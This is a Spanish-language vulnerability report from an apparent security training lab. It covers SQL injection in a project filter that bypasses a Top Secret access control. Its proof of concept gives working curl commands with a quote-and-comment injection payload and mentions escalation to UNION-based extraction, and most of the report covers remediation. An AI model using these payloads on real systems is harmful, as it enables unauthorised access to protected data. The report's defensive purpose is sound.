🔒 CONFIDENCIAL

Reporte de Vulnerabilidad

Inyección SQL en el filtro de proyectos con elusión del control de nivel de acceso (Top Secret)

ID del Ticket	**VULN-2026-008**
Activo evaluado	**Aplicación web «NSA» (Lab NSA) — gestión de proyectos clasificados**
Severidad	**ALTA** **CVSS v3.1 8.1**
Tipo	**SQL Injection — CWE-89 / CWE-209 / CWE-285**
Cliente	**Software Seguro — Laboratorio NSA**
Analista	**J. M. F. · jmf01111974@gmail.com**
Fecha del reporte	**08 de noviembre de 2026**
Versión	**1.0**

Contenido

1. Resumen Ejecutivo pág. 2
2. Detalles Técnicos pág. 2
3. Métricas CVSS pág. 4
4. Prueba de Concepto (PoC) pág. 5
5. Recomendaciones de Remediación pág. 6
6. Referencias e Historial pág. 8

Este documento contiene información sensible sobre vulnerabilidades de seguridad. Su distribución está restringida al personal autorizado del cliente. Las pruebas se realizaron sobre un entorno de laboratorio con autorización explícita.

1. Resumen Ejecutivo

> Audiencia: dirección y responsables de negocio. Redactado sin tecnicismos.

¿Qué encontramos?

El buscador de proyectos construye sus consultas a la base de datos **pegando directamente lo que elige el usuario** en el filtro, sin separarlo de las instrucciones. Eso permite que un usuario **inyecte comandos** en la consulta. Aprovechándolo, se logró **anular la regla que oculta los proyectos clasificados** ("Top Secret") y verlos todos, pese a no tener el nivel de acceso requerido.

¿Por qué importa para el negocio?

La inyección SQL es una de las fallas más graves de una aplicación web. Además de saltarse los permisos —como se demostró con los proyectos "Top Secret"—, habitualmente permite **leer, modificar o borrar cualquier información** de la base de datos, no solo la que el buscador debería mostrar. En un sistema de proyectos clasificados, el impacto es máximo: **exposición de información altamente sensible**, posible manipulación de registros y un incidente de seguridad de alcance potencialmente total, con sus consecuencias legales y reputacionales.

¿Qué tan grave es?

Severidad ALTA — CVSS 8.1. La explotación es remota y sencilla con herramientas estándar. Un simple carácter ("comilla") provocó un **error de la base de datos que reveló parte de la consulta**, confirmando la falla; a partir de ahí se desactivó el control de acceso y se accedió a todos los proyectos clasificados, obteniéndose el código de verificación del laboratorio.

¿Qué hay que hacer?

Usar **consultas parametrizadas** (sentencias preparadas) en todo el código, de modo que los datos del usuario nunca se mezclen con las instrucciones SQL, y **dejar de mostrar errores de base de datos** al usuario. Son correcciones estándar y de alta prioridad.

Riesgo	Probabilidad	Impacto	Urgencia de acción
Acceso no autorizado y potencial manipulación de datos clasificados mediante inyección SQL	Alta	Alto	**Inmediata**

2. Detalles Técnicos

> Audiencia: equipo de desarrollo y administradores de la plataforma.

2.1 Descripción de la vulnerabilidad

El endpoint de filtrado de proyectos concatena el valor del filtro (`tipo`: 1, 2 o 3) directamente en una consulta SQL, sin parametrización ni validación. Esto habilita **SQL Injection** (CWE-89). Se confirmaron dos aspectos:

a) PRIMARIO **Inyección SQL con errores verbosos.** Al introducir una comilla simple (`'`) en el parámetro, la aplicación devuelve un **error de la base de datos** que además expone fragmentos de la consulta (*error-based*

SQLi), confirmando que la entrada altera la sintaxis del SQL y revelando su estructura (CWE-209: exposición de información por mensajes de error).

b) ENCADENADO **Elusión del control de nivel de acceso.** La restricción que oculta los proyectos "Top Secret" está implementada como una condición dentro de la propia consulta. Inyectando un **comentario SQL** (`--`) se anula la parte de la consulta que aplica ese filtro de autorización, de modo que la consulta devuelve `200 OK` con **todos los proyectos clasificados**, incluidos los de tipo APT.

2.2 Flujo del ataque

- El atacante observa que el combo de filtro envía `tipo=1/2/3`; el valor 3 (APT) no devuelve resultados por el control de acceso.
- Envía la petición a Repeater e inyecta una comilla (`'`): la base de datos responde con un error que filtra parte de la consulta.
- Confirmada la inyección, añade un comentario SQL (`--`) para anular la subconsulta/condición que filtra por nivel de acceso.
- La respuesta pasa a `200 OK` y expone todos los proyectos "Top Secret"; se obtiene el código del laboratorio.

2.3 Clasificación

Categoría	Referencia
Tipo (CWE)	CWE-89 — Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') · CWE-209 — Generation of Error Message Containing Sensitive Information · CWE-285 — Improper Authorization
OWASP Top 10 (2021)	A03:2021 — Injection · A01:2021 — Broken Access Control
OWASP API Security Top 10 (2023)	API8:2023 — Security Misconfiguration (errores verbosos)
CVE	No aplica (defecto propio de la aplicación, no de un componente de terceros)

2.4 Activos y alcance afectado

Elemento	Detalle
Aplicación	«NSA» (Lab NSA) — gestión de proyectos clasificados
Host	`chl-<instancia>-nsa.softwareseguro.com.ar` (el subdominio se asigna por instancia/sesión)
Endpoint vulnerable	Filtrado de proyectos (p. ej. `GET /api/proyectos?tipo=<valor>`)
Parámetro	`tipo` (valor del filtro, concatenado en la consulta)
Dato sensible involucrado	Proyectos clasificados "Top Secret" (APT) y, potencialmente, toda la base de datos
Alcance	Lectura (y potencial escritura) de datos más allá del nivel de acceso del usuario

2.5 Causa raíz

La consulta SQL se construye por **concatenación de cadenas** con entrada controlada por el cliente, en lugar de usar **sentencias parametrizadas**. A ello se suman dos agravantes: la aplicación **expone errores de base de datos** al usuario (facilitando la explotación) y el **control de autorización se implementa dentro de la propia**

consulta, por lo que manipular el SQL permite anularlo. Una entrada que debería ser un simple número termina alterando la lógica y los permisos de la consulta.

3. Métricas CVSS

Puntuación objetiva y reproducible del riesgo técnico, según CVSS v3.1.

CVSS Base Score	Severidad	Vector
8.1	ALTA	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`

Desglose del vector (métricas base)

Métrica	Valor	Justificación
Attack Vector (AV)	**Network (N)**	La aplicación se explota de forma remota a través de Internet (HTTP/HTTPS).
Attack Complexity (AC)	**Low (L)**	No requiere condiciones especiales: inyectar caracteres en un parámetro.
Privileges Required (PR)	**Low (L)**	Se requiere una cuenta de usuario con acceso limitado a la aplicación.
User Interaction (UI)	**None (N)**	No requiere que ninguna víctima realice acción alguna.
Scope (S)	**Unchanged (U)**	El impacto permanece dentro de la misma aplicación/base de datos.
Confidentiality (C)	**High (H)**	Permite leer datos clasificados y, potencialmente, toda la base de datos.
Integrity (I)	**High (H)**	La inyección otorga control sobre la consulta, habilitando modificación de datos según los privilegios del usuario de BD.
Availability (A)	**None (N)**	No se demostró impacto en la disponibilidad (ver nota).

Nota de criterio: se asigna `A:N` por no haberse demostrado impacto en disponibilidad. Si el usuario de base de datos permite consultas apiladas u operaciones destructivas (`A:H`), el vector `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` alcanza **8.8**; y si el endpoint fuera accesible sin autenticación (`PR:N`), llegaría a **9.8 (Crítica)**. Se recomienda confirmar ambos extremos con el equipo de desarrollo.

Verificable en la calculadora oficial: https://www.first.org/cvss/calculator/3.1

4. Prueba de Concepto (PoC)

Reproducción paso a paso. Cualquier técnico con acceso al laboratorio y Burp Suite puede replicar el hallazgo.

4.1 Requisitos previos

- Sesión en la aplicación del laboratorio con acceso limitado (sin nivel "Top Secret").
- Burp Suite (Proxy + Repeater) o `curl`.

4.2 Pasos de reproducción

Paso 1 — Identificar el parámetro del filtro. El combo de filtro envía el valor seleccionado. El tipo 3 (APT) no devuelve resultados por el control de acceso.

```
# Subdominio asignado a tu instancia del laboratorio
BASE="https://chl-<instancia>-nsa.softwareseguro.com.ar"

curl -s -b cookies.txt "$BASE/api/proyectos?tipo=3"
# -> sin resultados (el filtro de nivel de acceso oculta los APT / Top Secret)
```

Paso 2 — Confirmar la inyección (error-based). Inyectar una comilla simple en el parámetro; la base de datos devuelve un error que expone parte de la consulta.

```
curl -s -b cookies.txt "$BASE/api/proyectos?tipo=3'"
# -> Error de la base de datos (SQL syntax) que revela fragmentos de la consulta
#    Confirma que la entrada altera la sintaxis SQL -> inyección presente
```

Evidencia 1 — El carácter `'` produce un error de base de datos y filtra estructura de la consulta: SQL Injection confirmada.

Paso 3 — Eludir el control de acceso con un comentario SQL. Cerrar el literal e inyectar un comentario (`--`, con el guion final por seguridad) para anular la condición que filtra por nivel de acceso.

```
# El payload comenta el resto de la consulta (incl. el filtro de nivel de acceso)
curl -s -b cookies.txt --data-urlencode "tipo=3' -- -" -G "$BASE/api/proyectos"
# -> HTTP 200 OK: se listan TODOS los proyectos, incluidos los Top Secret (APT)
```

Evidencia 2 — Con el comentario inyectado, la consulta ignora el filtro de autorización y expone los proyectos clasificados.

Paso 4 — Verificación del impacto. La respuesta incluye los proyectos APT "Top Secret"; se resuelve el laboratorio.

```
# Código de verificación obtenido:
#   141e9ea9d1c4ade203ffe3ee03ebff1c
```

Evidencia 3 — Acceso a los proyectos clasificados y obtención del código, demostrando la elusión del control de acceso vía SQLi.

> Nota técnica: confirmada la inyección, un atacante podría escalar a técnicas `UNION-based` o *blind* para extraer otras tablas (usuarios, credenciales, etc.). En esta PoC la demostración se limitó a la elusión del control de acceso; no se realizó extracción masiva de datos.

4.3 Resultado esperado vs. obtenido

Esperado (sistema seguro)	Obtenido (sistema vulnerable)
El valor del filtro se trata como dato (consulta parametrizada); una comilla no altera la consulta y el control de acceso se aplica en el servidor.	La comilla rompe la consulta (error expuesto) y un comentario anula el filtro, exponiendo los proyectos Top Secret.

> ⚠ Nota ética: la PoC se ejecutó únicamente sobre el entorno de laboratorio autorizado, con el impacto mínimo necesario para demostrar el riesgo. No se extrajeron datos masivamente ni se alteraron registros.

5. Recomendaciones de Remediación

> Audiencia: equipo de desarrollo que implementará la corrección.

5.1 Solución recomendada (prioritaria)

Usar consultas parametrizadas (prepared statements). La entrada del usuario nunca debe concatenarse en el texto de la consulta; debe pasar como parámetro, de modo que la base de datos la trate como dato y no como código.

```
# VULNERABLE: concatenación de la entrada en el SQL
query = "SELECT * FROM proyectos WHERE tipo = " + request.GET["tipo"] + \
        " AND nivel_acceso <= " + str(user.nivel)     # <- inyectable y filtro en la query
cursor.execute(query)

# CORREGIDO: parámetros vinculados + validación de tipo
tipo = int(request.GET["tipo"])                       # validar que es numérico
cursor.execute(
    "SELECT * FROM proyectos WHERE tipo = %s AND nivel_acceso <= %s",
    [tipo, user.nivel],                               # la BD trata ambos como datos
)
```

Aplicar la autorización en el servidor, no solo en la consulta. El nivel de acceso debe verificarse en la capa de aplicación (además del filtro en SQL), de forma que manipular la consulta no baste para saltarlo.

5.2 Mitigaciones y buenas prácticas

- **Deshabilitar los errores verbosos** en producción: devolver mensajes genéricos y registrar el detalle solo del lado del servidor (CWE-209).
- **Validación estricta de entrada** (allow-list): el filtro `tipo` solo debería aceptar un conjunto cerrado de valores numéricos.
- **Mínimo privilegio en la base de datos**: el usuario de la aplicación solo con los permisos imprescindibles (sin DDL ni operaciones destructivas) y sin consultas apiladas si no se requieren.
- **WAF** con reglas anti-inyección como defensa en profundidad (no sustituye a la parametrización).
- **ORM / capa de acceso a datos** que parametrice por defecto, y revisión estática orientada a SQLi.

5.3 Plan de acción

Acción	Responsable	Prioridad	Plazo	Estado
Migrar el endpoint de filtrado a consultas parametrizadas	Equipo de desarrollo	Crítica	Inmediato	Pendiente
Deshabilitar errores de BD verbosos y validar entrada (allow-list)	Equipo de desarrollo	Alta	24–72 h	Pendiente
Verificar autorización de nivel de acceso en la aplicación	Equipo de desarrollo	Alta	7 días	Pendiente
Revisar el resto del código en busca de patrones de SQLi + mínimo privilegio de BD	Desarrollo / SecOps	Alta	15 días	Pendiente
Test de regresión (payloads de SQLi = sin efecto) y re-test	QA / Seguridad	Alta	Con el fix	Pendiente

5.4 Verificación (re-test)

Repetir los pasos 2 y 3 de la PoC sobre el endpoint corregido. El criterio de aceptación es que la comilla **no** produzca errores de base de datos, que los payloads de inyección se traten como datos literales (sin alterar la consulta) y que los proyectos "Top Secret" **no** sean accesibles para un usuario sin el nivel requerido. Confirmar que el filtrado legítimo sigue funcionando.

> ✔ Criterio de cierre: el ticket se marca como *Cerrado* cuando el re-test confirma que la inyección ya no es posible y que el control de acceso no puede eludirse, sin regresiones en la funcionalidad legítima.

6. Referencias e Historial

Referencias

- OWASP Top 10 (2021) — A03 Injection: https://owasp.org/Top10/A03_2021-Injection/
- OWASP Top 10 (2021) — A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- CWE-89 — SQL Injection: https://cwe.mitre.org/data/definitions/89.html
- CWE-209 — Generation of Error Message Containing Sensitive Information: https://cwe.mitre.org/data/definitions/209.html
- CWE-285 — Improper Authorization: https://cwe.mitre.org/data/definitions/285.html
- OWASP — SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- PortSwigger Web Security Academy — SQL injection: https://portswigger.net/web-security/sql-injection
- CVSS v3.1 Calculator (FIRST): https://www.first.org/cvss/calculator/3.1

Historial de cambios

Versión	Fecha	Autor	Cambio
1.0	2026-11-08	J. M. F.	Creación del reporte: SQL Injection en el filtro de proyectos con elusión del control de nivel de acceso (Top Secret).

🔒 Documento confidencial — uso interno / cliente autorizado únicamente. Las pruebas se realizaron en un entorno de laboratorio con autorización explícita.